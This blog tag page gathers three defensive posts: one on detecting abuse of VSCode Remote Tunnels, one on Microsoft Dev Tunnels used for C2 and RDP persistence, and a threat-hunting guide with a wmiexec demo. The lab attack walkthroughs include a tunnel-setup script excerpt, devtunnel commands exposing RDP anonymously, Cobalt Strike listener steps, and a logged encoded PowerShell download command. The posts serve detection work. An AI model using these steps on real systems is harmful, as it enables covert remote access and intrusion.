Tag: Detections

Detecting Abuse of VSCode Remote Tunnels

In my previous post, we took a look at Microsoft Dev Tunnels, how they’re abused by threat actors, and how you can detect they’re usage. In this post we’ll take a look at Microsoft VSCode Remote Tunnels. A different implementation of a similar a capability, which is harder to detect for Blue Teams.

What are Remote Tunnels

Remote Tunnels is a feature built into Microsoft VSCode. One of the most popular IDEs for developers in use today.

The feature allows you to expose your coding environment, externally. Take the following scenario as an example;

You’re a developer, working on a new web application, on your corporate provided laptop. VSCode is your IDE of choice.

You decide to visit family abroad, but the country you’re traveling to isn’t a location that your organisation approves remote work from. You want to work on your web application from the remote country, but can’t take your corporate device with you.

Enter remote tunnels, with this capability, you can expose your coding environment, to any device. You can also share the environment you’re working on with colleagues, so you can all work on the code base together.

How it Works

You have your code base on your corporate laptop, you simply enable Remote Tunnels in VSCode. This then provides you with a URL. You paste that URL into a web browser, authenticate with the Microsoft or GitHub account you created the tunnel with, and you have access to the local directory the repo is hosted on. You can also provision access to the tunnel to colleagues as well, allowing them to connect to your device.

How it’s Being Abused

In recent months the abuse of VSCode remote tunnels has increased, with multiple threat actors utilising the tool in their campaigns. Typically, a malicious script or LNK file is delivered to a user, where the presence of VSCode is checked. If it’s not, the CLI Version of the tool is installed, and a tunnel is setup.

Example Campaign

Let’s mimic an example campaign to highlight how VSCode tunnels are being abused by Threat Actors. We’re going to use a campaign ran by the threat actor Mustang Panda (aka Stately Taurus) as inspiration.

Our attack path is going to look like a below;

Infection chain for remote tunnels

Some more details on the attack chain;

  1. Deliver of a malicious LNK File, update.py.
  2. LNK file contains PowerShell command to download and run a python script from a remote IP address.
  3. Python script downloads and runs VSCode CLI binary, called code-insiders.exe
    • We’re using the CLI version of VSCode, I used the insiders version. This is just a beta version of VSCode. The non-beta version can be download from here.
  4. Python script creates and authenticates a VSCode tunnel, using the CLI binary against Github.
    • As was the case with Dev Tunnels, you authenticate your VSCode tunnel against either a Microsoft or Github account. Github allows for device code authentication, making it perfect for usage in a script. More on that later
  5. VSCode remote tunnel is established.
  6. Threat actor performs command execution of python payload, via the tunnel established from a web browser

Attacker Telemetry

We’ll walk through what the attack chain looks like, both in our logging and from our attackers perspective. As always, I’m using Elastic, and their endpoint agent for my lab.

LNK File Execution

Below shows the LNK file execution. Nothing fancy, it contains a simple PowerShell one liner that downloads a Python script from my web server, and executes the script.

PowerShell command to download and run python
Python Script Execution

The Python Script downloads the CLI binary for the Code Insiders version of VSCode. It then creates a tunnel, and generates an authentication link.

VSCode remote tunnel setup script
Important Flags and Authentication

In the snippet from my Python Script that sets up the tunnel below, we can see we’re parsing the flags tunnel and --accept-server-license-terms both of these flags are required establishing a tunnel. They can be used for in a detection opportunity, but more on that later.

def setup_remote_tunnel(vscode_cli_path, timeout=60):
    """Set up a VSCode Remote Tunnel."""
    print("Setting up VSCode Remote Tunnel...")

    process = subprocess.Popen(
        [vscode_cli_path, "tunnel", "--accept-server-license-terms"],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        stdin=subprocess.PIPE,  # Redirect stdin to provide input
        text=True

You may also note that we’ve not parsed any flags to force GitHub device authentication. This is because the CLI versions of VSCode use this method of authentication by default.

All we need to do is capture the code, and we can send it back to ourselves via POSTing it to our web server.

Connecting to the tunnel

An attacker needs to take the GitHub device code for authentication generated by the Code CLI, and enter at the below URL. This will need to be done while being authenticated to GitHub with their account.

https://github.com/login/device

We then enter our device code, that was captured by our Python Script, and generated by the VSCode CLI.

Github authentication for VSCode remote tunnels

The attacker then needs to authorise the tunnel associated and connected with their account. Which I’m sure they’ll have no issue doing 😉

GitHub device authentication for VScode remote tunnels

Now they need to access VSCode in their browser. If they’re using the standard version of VSCode, then the domain accessed will be vscode.dev.

However, as I’m using the Code Insiders version, the domain I’ll be hitting will instead be insiders.vscode.dev

We then hit the connect to tunnel button, and authenticate to VSCode with out attackers GitHub account.

VSCode remote tunnels connection

Once authenticated to our account, we should see a list of remote hosts that have a tunnel running, which we can connect to.

Remote tunnel host

And selecting our online victim host will establish a connection to the VSCode remote tunnel running on that host.

Remote tunnel host

We can now traverse directories on our victims remote host.

Directory traversal VSCode remote tunnel

And even worse, we can create new files/scripts, and execute them remotely.

Below shows a simple Python script to collect some host information from our victims host. We were able to create this script, and run it remotely all through our browser session, connected to our victims host via a tunnel.

Script execution VSCode remote tunnels
Script output

And the information collected by the script, we had it write to a txt file on our Victims host.

Script log

Attacker Conclusion

Summing up this section, the VSCode remote tunnels feature is extremely powerful and gives the ability to perform full remote code execution. The scariest element, is that we were able to do all this via a simple LNK file delivered to the user. With this in mind, let us look at how we can detect what our attacker has done.

Detecting VSCode Remote Tunnels

We’re going to break down the different elements of the attacker chain into their own hunts and detections.

PowerShell Execution

Firstly, we’ll look at the execution of the LNK file execution one liner to download and run our Python Script. Some EDRs are able to capture the LNK file name in the child process execution event, but it seems Elastic does not 😦.

I looked for cases where explorer is the parent of PowerShell, as this would be the typical relationship when a LNK file is used to launch a PowerShell script.

We can further filter down by looking for certain PowerShell arguments, including Invoke-WebRequest, OutFile and python.

Below is a fairly disgusting KQL query to match on this.

process.parent.name: explorer.exe and process.name : "powershell.exe" and process.args : *Invoke-WebRequest* and process.args : *OutFile* and process.args : *python*

I prefer to use regex and Elasticsearch DSL instead, below is the query to use that method instead.

{
  "query": {
    "bool": {
      "must": [
        { "term": { "host.os.type": "windows" } },
        { "term": { "event.type": "start" } },
        { "term": { "process.name": "powershell.exe" } },
        { "wildcard": { "process.parent.executable": "*explorer.exe" } },
        {
          "regexp": {
            "process.args": ".*(Invoke-WebRequest.*OutFile.*python|Invoke-WebRequest.*python.*OutFile|OutFile.*Invoke-WebRequest.*python|OutFile.*python.*Invoke-WebRequest|python.*Invoke-WebRequest.*OutFile|python.*OutFile.*Invoke-WebRequest).*"
          }
        }
      ]
    }
  }
}

This should show results where PowerShell is reaching out to a remote location, where a file is downloaded, and python is invoked to execute a script.

VSCode Tunnel Setup

Looking for code.exe or code-insiders.exe being written to disk would be pointless. A half decent attacker will rename the binaries, and furthermore, will have them downloaded from their own infrastructure.

Therefore, we must focus on the behaviours the attacker can not change. Firstly, the --accept-server-license-terms flag parsed to the CLI Code Binary.

 process.args: *--accept-server-license-terms* 

Focusing on the flag in the process arguments/command line gives us a few interesting results.

process.parent.executable: C:\Windows\System32\cmd.exe
process.parent.command_line: "cmd" /Q /C C:\Users\paul\.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\bin\code-server-insiders.cmd --connection-token=REDACTED --accept-server-license-terms --start-server --enable-remote-auto-shutdown --socket-path=\\.\pipe\code-insiders-1aabdd67-c31d-4f2a-8983-018f3d4e74e6
process.command_line: "C:\Users\paul\.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\bin\..\node.exe"   "C:\Users\paul\.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\bin\..\out\server-main.js"  --connection-token REDACTED --accept-server-license-terms --start-server --enable-remote-auto-shutdown --socket-path \\.\pipe\code-insiders-1aabdd67-c31d-4f2a-8983-018f3d4e74e6
process.executable: C:\Users\paul\.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\node.exe


In the above we can see one set of results, where a new .vscode directory has been created,

.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\bin..\

We can see the below flags have been parsed to a node.exe binary, running the JS file, server-main.js:

--connection-token REDACTED
--accept-server-license-terms
--start-server
--enable-remote-auto-shutdown
--socket-path \.\pipe\code-insiders-1aabdd67-c31d-4f2a-8983-018f3d4e74e6

We can also see part of the process tree, where code-insiders has spawned cmd.exe, to spawn node.exe to run the server-main.js.

VSCode remote tunnel detection tree

Using these process relationships, and command line arguments can provide detection and hunt opportunities.

Script Execution

Next, we’ll take a look at our Python Enumeration Script execution, that the TA ran from their web browser on our victims host. Below is an example screenshot of the activity.

VSCode remote tunnel events SIEM

And here we have the command line for the parent process, that launches Python. Our TA used a PowerShell terminal, within VSCode to run our Python Script.

[C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, -noexit, -command, try { . "c:\Users\paul\.vscode-insiders\cli\servers\Insiders-89f808979a5151bd91324e65d4f7ab1b62896983\server\out\vs\workbench\contrib\terminal\common\scripts\shellIntegration.ps1" } catch {}]

The interesting elements from the parent command line, are the path , and the shellIntergation.ps1 script. This script is what provides a PowerShell interface within VSCode.

We can find activity like this in the future with a query like the below. However, bare in mind, the interpreter or terminal the TA uses from within the VSCode session could be something different.

process.parent.name: powershell.exe and process.name.caseless : python.exe and process.parent.command_line.caseless : *shellIntegration.ps1*  and process.parent.command_line.caseless: *cli\\servers*

Network Connections

The main domain used by VSCode tunnels is:  

global.rel.tunnels.api.visualstudio.com

Blocking this domain in your organisation should block the usage of the tunnels.

Other domains used as part of VSCode tunnels include:

URL/DomainDescription
https://code.visualstudio.com/sha/download?build=stable&os=cli-alpine-x64VSCode CLI Download Domain
https://code.visualstudio.com/sha/download?build=insider&os=cli-win32-x64Code Insiders CLI Download
vscode.devDomain for VSCode browser session
insiders.vscode.devDomain for Code Insiders browser session.

Forensics/Logging

If the target user already has the full VSCode application installed, and a remote tunnel is established, there’s a useful state table you can load into SQLite Browser.

Located in the below locations

  • Windows: C:\Users\*\AppData\Roaming\Code\User\globalStorage\state.vscdb
  • Mac OS: /Library/Application Support/Code/User/globalStorage/state.vscdb
  • Linux: /.config/code/User/globalStorage/state.vscdb

This table give some useful information about the tunnel sessions, included mode of authentication, the account used to authenticate, and timestamps of tunnel sessions.

remoteTunnelServicePromptedPreview	true
remoteTunnelHasUsed	true
remoteTunnelSession	{"providerId":"github","sessionId":"f69cea964f86159","accountLabel":"REDACTED"}
remoteTunnelServiceUsed	{"hostName":"home-pc2","timeStamp":1736796256912}
remoteTunnelIsService	false

One of the fields in the logs remoteTunnelIsService: False, this indicates whether the Remote Tunnel was configured to run as a service. When this is done, it means a tunnel is setup anytime the host is brought online. This therefore, can provide a means of persistent access to an attacker.

This can be done but parsing the service flag on the tunnel install.

code tunnel service install

An example of this with the full tunnel setup can be seen below.

code-tunnel.exe tunnel service install --accept-server-license-terms --log info --name Home-PC

CLI Logging

CLI versions of VSCode do have some logging as well, however they are not as useful as the state table. Regardless, they might be worth a look. They are typically located in:

C:\Users\*\.vscode-server\data\logs

C:\Users\*\.vscode\cli\servers

Mitigations

There are some Group Policy settings which allow restrictions to be implemented on VSCode Remote Tunnels, as well as Dev Tunnels.

Disable anonymous tunnel access: Disallow anonymous tunnel access. This means users cannot connect to an existing tunnel with anonymous access control, host an existing tunnel with anonymous access control, or add anonymous access to existing or new tunnels.

Disable Dev Tunnels: Disallow users from using the Dev Tunnels service. All commands, with few exceptions, should be denied access when this policy is enabled. Exceptions: unset, echo, ping, and user.

Allow only selected Microsoft Entra tenant IDs: Users must authenticate within the given tenant list to access Dev Tunnels.

A template for these settings is available here.

Closing Out

The content covered shows how easy it is for a threat actor to utilise VSCode remote tunnels into their campaigns. Organisations should look to enforce authentication to remote tunnels against their own tenants only.

In cases where this is not possible, tunnel usage should be blocked from the estate, or detections should be implemented on their abuse. Threat Actors are increasingly using these tunnels in their campaigns.

Microsoft Dev Tunnels: Tunnelling C2 and More

Attackers are always looking for ways to blend into an environment, to establish a C2 channel undetected. Utilising legitimate tooling for their malicious activities is a common way that they achieve this.

From a defender’s standpoint, spotting activity that’s meant to blend in can be quite challenging. A SOC team, especially one experiencing alert fatigue, might often resort to checking a domain or hash on VirusTotal. If it’s a known domain or hash, particularly one signed or trusted by Microsoft, they might quickly label it as a false positive and move on.

Microsoft Dev Tunnels

Dev Tunnels allow developers to expose services running locally to remote hosts, across the internet and tunneled through Microsoft infrastructure. For example, let’s say I have a simple webserver running on my PC, I want a colleague to be able to test the web page I’ve created. I can use a Dev Tunnel to expose port 443 on my host. A Microsoft Dev Tunnel domain is generated *.devtunnels.ms, I provide the URL to my colleague, and they can access the web service on my local host, via the Microsoft URL.

I can expose any service via the Dev Tunnels, including RDP and SSH. With the ability to tunnel traffic using Microsoft domains, you can imagine why this would be an attractive concept to attackers.

There have been increased reports of threat actors utilising Microsoft Dev Tunnels and other legitimate remote tools in their campaigns. So, let’s walk through the different ways Dev Tunnels can be abused by attackers.

Scenario One: Using for C2

Firstly, using Dev Tunnels for C2. Take the diagram below as an example. A victim PC has executed a payload, and the C2 beacon is configured to connect to a Microsoft Dev Tunnels domain.

In most environments, the domain will pass through any proxy or firewall, due to the domain belonging to Microsoft. The traffic is then forwarded by Microsoft to the attacker’s machine.

Dev Tunnel Diagram

Creating a tunnel

Meanwhile, if we look at the attacker’s perspective, all they need to do is install the dev tunnel binary, which is available on Mac, Linux, and Windows.

Some key details on establishing a tunnel below:

  • Authentication: To create a tunnel, you need to authenticate to either a personal GitHub or Microsoft Account. Obviously setting up an account with either is trivial.
  • Anonymous Access: You can configure a tunnel to allow anonymous access, allowing anyone to connect to your tunnel.
  • Tunnel ID: Following the creation of a tunnel, a tunnel ID is generated, this is used to connect two endpoints together through a tunnel.

The highlighted URL below is what we will use for our C2 beacon.

Dev Tunnel C2 URL

Establishing C2

The process for utilising a Dev Tunnel domain for C2 traffic will be similar across different C2 frameworks. Below is an example of creating a listener in Cobalt Strike.

  1. Select Beacon Type, usually HTTPS.
  2. Define the HTTPS host to listen on, in this case, it would be our tunnel domain, 8kl69l904-443.uks1.devtunnels.ms
  3. Define the HTTPS host (stager), the IP of your team server.
  4. Select HTTPS Port, 443.
Dev Tunnel Cobalt Strike

Example Event

In the event shown below, we can see connections to our tunnel domain, from our beacon process. The beacon process is a fake OneDrive binary, which has a forged Microsoft certificate.

@timestampdns.question.nameprocess.code_signature.subject_nameprocess.nameuser.nameprocess.code_signature.trusted
Sep 1, 2024 @ 11:44:50.1698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Sep 1, 2024 @ 11:44:50.1488kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6498kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
We’ve giving our payload a fake certificate, it’s signed, but not trusted.
Cobalt Strike Signed Binary
Elastic EDR Dev Tunnel Tree

Detecting Dev Tunnel C2

Detecting the usage of Dev Tunnels for C2 is challenging, as the Dev Tunnels binary does not need to be present on the target host. In cases where EDR or endpoint controls fail to detect the initial payload, detecting on network-based telemetry would be challenging. As expected, the TLS connections have a valid certificate as they are after all legitimate Microsoft domains.

Dev Tunnel Domain Signed

We can look to identifying C2 traffic by looking for constant connections to the Dev Tunnel domains over sustained periods. C2 traffic

Dev Tunnel C2 Detect

Below is the query used in TimeLion to generate the above:

.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='count'
).bars(),
.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='cardinality:destination.domain'
).lines(width=2, stack=false).label("Unique Domains")

We can also use a more generic C2 detections methods, looking for high volume connections to single domains. The below shows count of connections to single domains over a 24 hour period. We can see clear outliers to our Dev Tunnel C2 domains, where constant connections are made.

Dev Tunnel C2 Detect

Network with Endpoint Telemetry

Many EDR products now are able to join domain requests with the process responsible for making the request. You can also usually enrich the binary with certificate information, looking for connections to dev tunnel domains from a non-signed or untrusted certificate can also be a method of detection.

dns.question.name : *.uks1.devtunnels.ms and process.code_signature.trusted<br>: false  

This however will not help for payloads running from a trusted source. For example sideloading or injecting a payload into a trusted process like Outlook will be more difficult to detect.

As shown below, loading a secondary payload into Outlook, shows C2 to a trusted Microsoft Domain from a trusted Microsoft Process.

Dev Tunnels C2 from trusted Process

In these cases, anomaly C2 on the Dev Tunnel domains would be required. With analysts paying focus to the surrounding and contextual activity, like looking for unusual loads or injections into the process making the requests.


Using for Persistent Access

Dev Tunnels can be used for more than just C2. As we said before, any port can be exposed for remote usage. Therefore, RDP and SSH are good candidates, allowing a threat actor to establish persistent remote access.

Ideally, we would want a scripted method of establishing and maintaining remote access via Dev Tunnels.

I created a simple PowerShell Script that does the following on a victim host.

  • Downloads a copy of Dev Tunnels and places it in a Windows Start-Up Location.
    • Download from: https://aka.ms/TunnelsCliDownload/win-x64
    • Place in: C:\Users\paul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • Authenticates the Dev Tunnel process to an account.
    • More on this further down.
  • Sets up a tunnel, exposing port 3389 to allow for anonymous access.

Github Device Authentication

When first using Dev Tunnels on a device, you must authenticate. To do this in a scripted manner, we can use GitHub Device authentication:

devtunnel user login -g -d
Login with a GitHub account with device code login, if local interactive browser login isn’t possible

When this command is run, a device login code is written to the terminal. Using our PowerShell script, we can capture this code by writing it to a .txt file. We can then pull the string from the file, and send it to ourselves.

Dev Tunnel Script

We can use interactsh to receive the login code, but sending a POST request to our OAST domain from the PowerShell Script.

Dev Tunnel Git Login Code

We can then use the device code to authenticate to a our attacker GitHub account, via https://github.com/login/device

Dev Tunnel Git Auth

Establishing Tunnel

Now that we’ve authenticated, our PowerShell script can continue, by setting up a tunnel.

This is as easy as running a command like the one below. Port 3389 is being exposed and allows for anonymous login.

.\devtunnel.exe host -p 3389 -allow-anonymous

Dev Tunnel Setup via Script

Now that the tunnel is setup, we can authenticate to the same GitHub account from our attacker machine.

We can list out tunnels that are running within our account, and connect to the tunnel exposing RDP on our victim device by specifying the tunnel ID.

Dev Tunnel RDP

In order to connect via RDP we need to authenticate to a user on the device. If we do not already have a compromised user, we can brute force RDP via the tunnel.

Traffic is forwarded from local host, through the tunnel, to our victim host on port 3389. Therefor, to brute force, we specify local host as our target, and we’re able to brute force RDP on our victim host.

Dev Tunnel RDP Brute Force

Once we have an account to utilise, we can use a RDP client to connect. Again specifying the local host address as the the remote host, and authenticating with our compromised user.

Dev Tunnel RDP Connect
Dev Tunnel RDP Connect

This means you could in theory expose a host remotely, via a single PowerShell script, making it a candidate in phishing. This can be a method of bypassing RDP restrictions on a network, exposing internal hosts, remotely.

Detections

I’m using Elastic SIEM and Endpoint agent to collect telemetry and build custom detections.

Dev Tunnel Binary Execution Detection

In circumstances where an attacker has brought the Dev Tunnel binary onto disk, you could catch them with a simple:

Process.Name:devtunnel.exe OR File.Name:devtunnel.exe

But any decent operator is going to rename the process to something else.

You could look for the initial download, via PowerShell or WinGet

CommandLine= "*winget install Microsoft.devtunnel*"
OR 
URL= "*https://aka.ms/TunnelsCliDownload/win-x64*"

But again, these are easy to bypass, and an attacker will likely bring the tool down from their own infrastructure.

A more robust way of detection is took look for a certain DLL that the tunnel requires for operation. Looking at module load events and there’s a variety of DLLs loaded by the devtunnel.exe, but one sticks out as an easy detection, devtunnel.dll.

event.action: "load" and dll.name: "devtunnel.dll"

The DLL is loaded from a temp .net directory that is created on execution. This is a behaviour that an attacker would not be able to manipulate.

Tunnelling RDP Detection

You’ll notice the source IP in the logs for this activity is displayed as ::1, this is the loopback address for the host, or 127.0.0.1. As we are forwarding traffic from local host on our attacker machine from our victim machine, this is the address that is displayed.

Dev Tunnel RDP

Interestingly the logon type is captured as type 3, rather than type 10. The below query will show both successful and failed logons originating from a loopback address. Putting this into a detect would likely generate a lot of noise and FPs.

event.provider: "Microsoft-Windows-Security-Auditing" and event.code: 4625 or event.code : 4624 and (source.ip : "::1" or source.ip : 127.0.0.1)

Instead we can use a threshold detection to attempt to detect suspected brute forcing, from a loopback address.

Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect

Incident Response Triage & Logging

Unfortunately there is very little in the way of logging for Dev Tunnels. Unlike Microsoft VSCode Remote tunnels, which is a different implementation of the same underlying tunnel features, (more on how they can be abused another time), there is no dedicated logging for tunnel usage.

If you’re responding to an incident that involves the use of Dev Tunnels, and you do not have host or network telemetry, then your best option is to dump the Dev Tunnel process. We can get all the key information from the process dump.

Dev Tunnel URL from Memory
Dev Tunnel ID from Memory

Including the username the tunnel authenticated with.

Dev Tunnel username from Memory

Closing Thoughts

As shown, Dev Tunnels provide powerful capabilities that can be (and are) abused by Threat Actors, to make detection by Blue Teams more difficult. The best option is to outright block tunnel usage in the estate, this can be achieved by blocking the Dev Tunnel Domains listed below.

IOCs

File Hashes

FileNameSHA256
Devtunnel.execb2d8470a77930221f23415a57bc5d6901b89de6c091a3cfbc563e4bf0e7b4eb
devtunnel.dllc0513783d569051bdc230587729b1da881f7032c2ad6e8fedbbdcc61d813da25

Domains

DescriptionDomain
Dev Tunnel Domainglobal.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*-data.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.devtunnels.ms
GitHub Device Auth URL https://github.com/login/device
Tunnel Install URL https://aka.ms/TunnelsCliDownload/win-x64

A Guide to Threat Hunting in a SOC

Introduction

You’d be forgiven for thinking that Threat Hunting is just another Cyber Buzz Word/Phrase spreading throughout the industry, the latest term used to push more product and managed services on a SOC. The reality, however, is that Threat Hunting is an extremely valuable skill and one that every SOC should have.

In fact, I believe that Threat Hunting provides more value than the traditional approach that many SOCs take. The traditional approach being switch on pre-made generic rules from a range of cyber tools like AV and IDS, as well as ingest IOCs from Intel Providers and search for them across the estate.

This typical approach would be what I call a reactive model. A team of analysts sit around waiting for alerts from different tools to trigger, they then triage the alerts and perform an investigation.

In my view, there are a few issues with this approach.

The issues

  • False Positives: Many generic alerts can be prone to false positives. Vendors design rules to work on many different estates. They’re not designed to work on your specific estate. Additionally, with IOCs, bad intel from a provider can generate a lot of noise on your estate.
    • Of course, rules can be tuned to perform better and cut false positive noise. But this is not always easy or even possible.
    • Additionally, false positives play a huge role in creating analyst fatigue. Investigating and closing the same false positives day after day will quickly cause analysts to become frustrated, and lose interest. Team productivity will drop as a result.
    • If analysts are used to closing false positives all the time, chances are they’ll wrongly close a true positive as a false positive for rules that are particularly noisy.
  • Detection Gaps: With a reactive approach, you’re sitting relying on the rules that you have to detect the full spectrum of malicious activity.
    • It requires you to have good detection coverage, but also requires you to have a complete picture of your detection coverage and your detection gaps.
    • Using frameworks like Mitre is incredibly useful for finding gaps in coverage. However, the reality is most SOCs do not have their coverage mapped to a framework.
    • Red Teams can help find gaps in detection coverage. However, most SOCs will only perform one Red Team a year, and a lot can change in a year.

A Different Approach

Some SOCs do already perform threat hunting on their estates, but in most cases this is conducted sporadically when there’s some free time. Free time can be hard to come by when you’re closing false positives all day.

What if instead of spending 90% of time reacting to alerts, the focus was switched to a proactive model? Or if 90% of the time was spent Threat Hunting instead. What impact would that have?

The Benefits

  • Assume Breach: Assume Breach is a common phrase in the industry. It’s a mentality that analysts are encouraged to have when triaging alerts, “assume there’s been a breach”. But sitting around waiting for alerts to come in doesn’t practice this mentality. However, with a Threat Hunting focused approach, you’re forced to hold this mentality, as you’re actively looking for threats and successful breaches.
  • Being Proactive: Being proactive and looking for threats is a better use of time than sitting around waiting for alerts to come in.
    • You’re not reliant on rules and detections you have, and you can hunt for activity where you have detection gaps.
  • Team Productivity: Analysts will be more productive. If they’re hunting for new and interesting activity each day, they’ll be more engaged and interested in their work.
    • Good research-based threat hunting takes skill, and analysts will develop their technical knowledge by conducting in-depth research before hunts.

Understanding Threat Hunting

So we now know the benfits of Threat Hunting, but what actually is it? And how can you do it?

Well, the first thing to make clear is that Threat Hunting is not taking a bunch of IPs and other IOCs and searching for them across your estate. Take a look at the pyramid below. It’s called the Pyramid of Pain. What this pyramid illustrates is the “pain” or effort an attacker will experience if you are able to detect an indicator in each block.

Pyramid of Pain

For example, if we were to take the tool Mimikatz as an example. If you detect Mimikatz based on its hash value it would be trivial for an attacker to change the value of the application, therefore, bypassing your detection. However, if you detected Mimikatz by looking for uncommon processes establishing a handle to LSASS, that would be significantly harder for an attacker to bypass. Additionally, you would also detect other attack tools which exploit LSASS.

Threat hunting should be focused on the top two blocks of the pyramid, TTPs and Tools.

Threat Hunt Model

There are an infinite amount of different threat hunting models available on the internet. But most of them are more or less the same. The typical model looks like this.

Threat hunt model
  • Research: This is one of the phases that I often see overlooked. This is what kicks off your threat hunt. Research can come from a variety of places, maybe you see a new POC for a tool being shared on Twitter. Or maybe you read a blog on a new attack vector. Regardless, this kick starts your research. From here, you dig deeper and investigate the attack vector.
  • Data and Telemetry: Once you have an understanding of the attack vector, you need to establish whether or not you have the correct data set to detect the threat. Whether it be proxy logs, endpoint logs, or something else.
  • Build Hypothesis: This is where you establish the logic of your hunt analytic. This stage is closely linked to the research phase. In my experience, the best way to build a hypothesis is to first test the attack vector. Build a lab and practice using the attack tool, or experiment with the attack vector. Once you’ve successfully experimented, review your logs. Observe what data was collected.
  • Create Hunt Analytic: Next you need to formulate your search. This is essentially where you test your hypothesis against your data & telemetry. A hunt analytic could be anything from a parent and child process relationship or maybe a specific filename and command line value.
  • Investigate and Incident Response: This obviously only occurs if you find some badness while hunting.
  • Tune Review Analytic: Here is where you improve your search to cut out the noise. Likewise, if it’s been turned into an automated analytic, refine it to cut out any false positives.

Let’s Get Technical – Demo

Let’s take a look at a threat hunting example by exploring some lateral movement techniques using Cobalt Strike and Impacket. Both of the techniques are not detected by some of the best EDRs on the market, which makes them a good candidate for Threat Hunts.

It’s worth bearing in mind that while EDRs are great tools that have really enhanced the detection capabilities of many organisations around the world, they’re not perfect. They can be bypassed and there are gaps in their coverage. You should never be reliant on just one security tool, and this again proves the value of threat hunting.

Testing Environment

The test environment is made up of two hosts, a desktop PC and a Domain Controller. A market-leading EDR (that shall remain nameless) is installed on the DC. Both hosts have Sysmon running on them with the SwiftOnSecurity Sysmon Config, and these logs are being fed into ELK.

If you’d like to see how to setup ELK SIEM, you can see my previous blog here.

Attackers Perspective

First, let’s paint the picture of what the attacker has done on our hosts, so it’s clearer what we’re threat hunting for.

  1. User HR was sent a malicious link to a .hta file, which when opened, executes a malicious payload to spawn a Cobalt Strike Beacon running under the user’s context.
  2. As the user does not have admin privileges, the attacker performed privilege escalation. This was done by uploading a secondary payload to the host (via the beacon) and executing it under escalated context using the fodhelper UAC bypass.
  3. This gives us a new beacon running under a higher privileged context. From here, credentials on the host were dumped using Mimikatz via the beacon.
  4. The next step is where we’re going to perform our lateral movement.
    1. Before we do, it’s worth mentioning that a lot of the above activity would have been detected by most EDRs, but there are obviously other ways to achieve the same objectives which can go undetected.
    2. The first method of lateral movement is using wmiexec from Impacket. Using the administrator’s credentials stolen with Mimikatz, we are able to get an interactive shell to the domain controller. Let’s see what using wmiexec looks like, and how we can detect it in a hunt.
Cobalt Strike Attack Tree

WMIEXEC

As wmiexec is open source and the code is available on GitHub, one of the things we might do as part of our research phase is analyse the tools code. One part of the code that sticks out is the remote shell function. We can see here that cmd.exe is being launched, and is parsing flags “/Q /c “. We also know that WmiPrvSE.exe is likely to be the parent of cmd.exe, as it’s wmi we’re exploiting to establish our shell.

lass RemoteShell(cmd.Cmd):       
                
    .......................................
        self.__output = '\\' + OUTPUT_FILENAME       
                
        self.__outputBuffer = str('')       
                
        self.__shell = 'cmd.exe /Q /c '       
                
        self.__shell_type = shell_type       
                
      ........................................
                     
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'       
                

With that in mind, we can use a query like the one below, to search for cmd.exe as a child of wmiPrvSE.exe with the command line ” cmd.exe /Q /c” followed by a wildcard.

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line :   cmd.exe /Q /c *

Searching on this activity returned a few results, including this event.

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 16:31:42.163
 ProcessGuid: {75D30705-A7EE-60D8-2748-0E0000000000}
 ProcessId: 4956
 Image: C:\Windows\System32\cmd.exe
 FileVersion: 10.0.14393.0 (rs1_release.160715-1616)
 Description: Windows Command Processor
 Product: Microsoft® Windows® Operating System
 Company: Microsoft Corporation
 OriginalFileName: Cmd.Exe
 CommandLine: cmd.exe /Q /c powershell.exe -exec bypass -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAxADkALgAxADMANwA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAG4AZgBzAC4AZQB4AGUAJwAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABEAG8AdwBuAGwAbwBhAGQAcwBcAG4AZgBzAC4AZQB4AGUAIgA= 1> \127.0.0.1\ADMIN$__1624811482.3061206 2>&1
 CurrentDirectory: C:\
 User: RT-LAB\Administrator
 LogonGuid: {75D30705-A7DA-60D8-9E31-0E0000000000}
 LogonId: 0xE319E
 TerminalSessionId: 0
 IntegrityLevel: High
 Hashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A
 ParentProcessGuid: {75D30705-A634-60D8-BC12-050000000000}
 ParentProcessId: 3868
 ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
 ParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

